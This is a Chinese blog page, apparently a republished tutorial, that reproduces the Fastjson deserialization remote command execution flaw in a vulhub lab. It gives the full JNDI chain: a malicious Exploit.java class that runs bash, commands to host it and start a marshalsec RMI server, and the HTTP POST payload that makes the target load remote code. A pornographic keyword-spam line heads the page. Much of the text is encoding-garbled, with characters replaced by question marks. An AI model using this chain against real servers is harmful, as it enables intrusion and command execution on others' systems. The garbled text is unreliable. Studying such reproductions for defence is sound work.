日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

Fastjson 远程命令执⾏漏洞

發(fā)布時間:2023/12/31 编程问答 33 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Fastjson 远程命令执⾏漏洞 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

什么是 Fastjson Fastjson

是阿?開發(fā)的?款專門?于Java開發(fā)的包,可以?便的實現(xiàn) json 對象與 JavaBean 對象的轉(zhuǎn)換,JavaBean 對象與 json 字 符串的轉(zhuǎn)換, json 對象與 json 字符串的轉(zhuǎn)換。

API 使?

//序列化 String text = JSON.toJSONString(obj); //反序列化 VO vo = JSON.parse(); //解析為JSONObject類型或者JSONArray類型 VO vo = JSON.parseObject("{...}"); //JSON?本解析成JSONObject類型 VO vo = JSON.parseObject("{...}", VO.class); //JSON?本解析成VO.class類

漏洞原理

使? Fastjson 的 API parseObject() 反序列化 json 字符串時,可以在字符串中加上 @type 屬性。
1. 該屬性會指定我們的 json 字符串將會反序列化到哪個類。
2. 服務(wù)端會解析這個類,提取出這個類中符合要求的setter?法與getter?法。
3. 如果傳?json字符串的鍵值中存在這個值(如xxx),就會去調(diào)?執(zhí)?對應(yīng)的setter、getter?法(即setxxx?法、getxxx?法)
在可以調(diào)?任意類的情況下,如果setter、getter?法中存在可以利?的情況,就會導(dǎo)致任意命令執(zhí)?。


漏洞利?

JNDI 注?利?原理

{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://localhost:1099/POC", "autoCommit":true }

原理是 com.sun.rowset.JdbcRowSetImpl 這個類在設(shè)置 autoCommit 的 setter 時會調(diào)? connect ?法去連接 dataSourceName 指定 的 jdbc 服務(wù)。

利?流程
1. ?客使?payload攻擊主機A(該payload需要指定rmi/ldap地址)。
2. 主機A引發(fā)反序列化漏洞,發(fā)送了進(jìn)?rmi遠(yuǎn)程發(fā)放調(diào)?,去連接主機C。
3. 主機C的rmi服務(wù)指定加載主機B的惡意java類,所以主機A通過主機C的rmi服務(wù)最終加載并執(zhí)?主機B的惡意java類。
4. 主機A引發(fā)惡意系統(tǒng)命令執(zhí)?。

復(fù)現(xiàn)流程
主機 A:1.1.1.1:8090
主機 B:1.1.1.1:80
主機 C:1.1.1.1:9999
主機 A、B、C 實際上是同?臺機器的不同端?。
主機 A,Fastjson 漏洞環(huán)境,這?使?的是 vulhub 環(huán)境。

主機 B,放置惡意 Java 類的服務(wù)器。
?先要編譯并上傳要執(zhí)?的代碼,具體代碼如下,代碼?件名為 Exploit.java 。
?

import java.lang.Runtime; import java.lang.Process;public class Exploit { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"bash","-c","touch", "/tmp/success"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }

在主機 B 中使? javac 命令編譯 Exploit.java ?件,?成?個 Exploit.class ?件。

javac Exploit.java

在主機 B 開啟?個 http 服務(wù),需要能訪問到 Exploit.class ?件。我們使? python3 臨時啟動?個。

python -m http.server 80

?主機 C,開啟 RMI 服務(wù)。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://1.1.1.1:80/#Exploit" 9999

服務(wù)全部準(zhǔn)備就緒,下?步要向主機 A 發(fā)送 payload 了。

POST / HTTP/1.1 Host:192.168.112.129:8090 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Length: 172 { "naraku":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.112.129:9999/Exploit", "autoCommit":true } }

?主機 A 收到 payload 之后,觸發(fā)了反序列化漏洞,?先向 RMI 服務(wù)器發(fā)送請求。

然后 RMI ?去請求 Exploit.class ?件。

?

最終觸發(fā)漏洞,成功執(zhí)?了惡意命令。?

?

?

?

總結(jié)

以上是生活随笔為你收集整理的Fastjson 远程命令执⾏漏洞的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。